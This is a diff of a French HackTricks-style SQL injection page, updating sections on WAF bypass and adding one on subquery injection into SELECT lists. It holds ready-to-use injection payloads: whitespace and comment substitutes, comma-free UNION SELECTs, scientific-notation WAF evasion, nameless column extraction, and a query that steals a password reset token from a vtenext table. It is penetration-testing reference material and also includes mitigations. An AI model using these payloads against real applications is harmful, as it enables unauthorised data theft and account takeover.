?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,17 +492,17 @@ Pas d'espace (%20) - contournement utilisant des alternatives d'espacement
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Pas d'espace - contournement en utilisant des commentaires
|
||||
No Whitespace - contournement en utilisant des commentaires
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Pas d'espace - contournement en utilisant des parenthèses
|
||||
No Whitespace - bypass en utilisant des parenthèses
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Bypass sans virgules
|
||||
### No commas bypass
|
||||
|
||||
Bypass sans virgule - utilisation de OFFSET, FROM et JOIN
|
||||
No Comma - bypass using OFFSET, FROM and JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -510,13 +510,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||
```
|
||||
### Bypasses génériques
|
||||
|
||||
Blacklist utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
|
||||
Blacklist en utilisant des keywords - bypass en utilisant majuscules/minuscules
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Liste noire utilisant des mots-clés insensible à la casse - contournement en utilisant un opérateur équivalent
|
||||
Blacklist de keywords insensible à la casse — bypass en utilisant un opérateur équivalent
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,10 +524,10 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Contournement WAF par notation scientifique
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
Vous pouvez trouver une explication plus approfondie de cette astuce dans le [blog gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Fondamentalement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
|
||||
Vous pouvez trouver une explication plus approfondie de cette astuce dans [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
En pratique, vous pouvez utiliser la notation scientifique de façons inattendues pour contourner le WAF :
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
@ -535,9 +535,9 @@ Fondamentalement, vous pouvez utiliser la notation scientifique de manière inat
|
||||
```
|
||||
### Contourner la restriction des noms de colonnes
|
||||
|
||||
Tout d'abord, notez que si la **requête originale et la table dont vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
||||
Tout d'abord, remarquez que si la **requête originale et la table d'où vous voulez extraire le flag ont le même nombre de colonnes** vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
||||
|
||||
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme suit : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à :
|
||||
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme la suivante : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection cela ressemblerait à :
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -547,26 +547,56 @@ Ou en utilisant un **comma bypass** :
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Cette astuce a été tirée de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Cette astuce provient de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Outils de suggestion de contournement de WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Si l'entrée utilisateur est concaténée dans la liste SELECT ou dans les identifiants de table/colonne, les prepared statements n'aideront pas car les bind parameters ne protègent que les values, pas les identifiers. Un pattern vulnérable courant est :
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Idée d'exploitation : injecter une sous-requête dans la position de champ pour exfiltrer des données arbitraires :
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Remarques :
|
||||
- Cela fonctionne même lorsque la WHERE clause utilise un bound parameter, car la liste d'identifiants est toujours concaténée en tant que chaîne.
|
||||
- Certaines stacks permettent en outre de contrôler le nom de table (tablename injection), autorisant des lectures inter-tables.
|
||||
- Les output sinks peuvent refléter la valeur sélectionnée dans HTML/JSON, permettant des XSS ou du token exfiltration directement depuis la réponse.
|
||||
|
||||
Mesures d'atténuation :
|
||||
- Ne concaténez jamais des identifiants provenant d'entrées utilisateur. Mappez les noms de colonne autorisés vers une allow-list fixe et quotez correctement les identifiants.
|
||||
- Si un accès dynamique aux tables est nécessaire, restreignez-le à un ensemble fini et résolvez côté serveur à partir d'un mapping sûr.
|
||||
|
||||
### WAF bypass suggester tools
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Autres Guides
|
||||
## Autres guides
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Liste de Détection de Brute-Force
|
||||
## Brute-Force Detection List
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user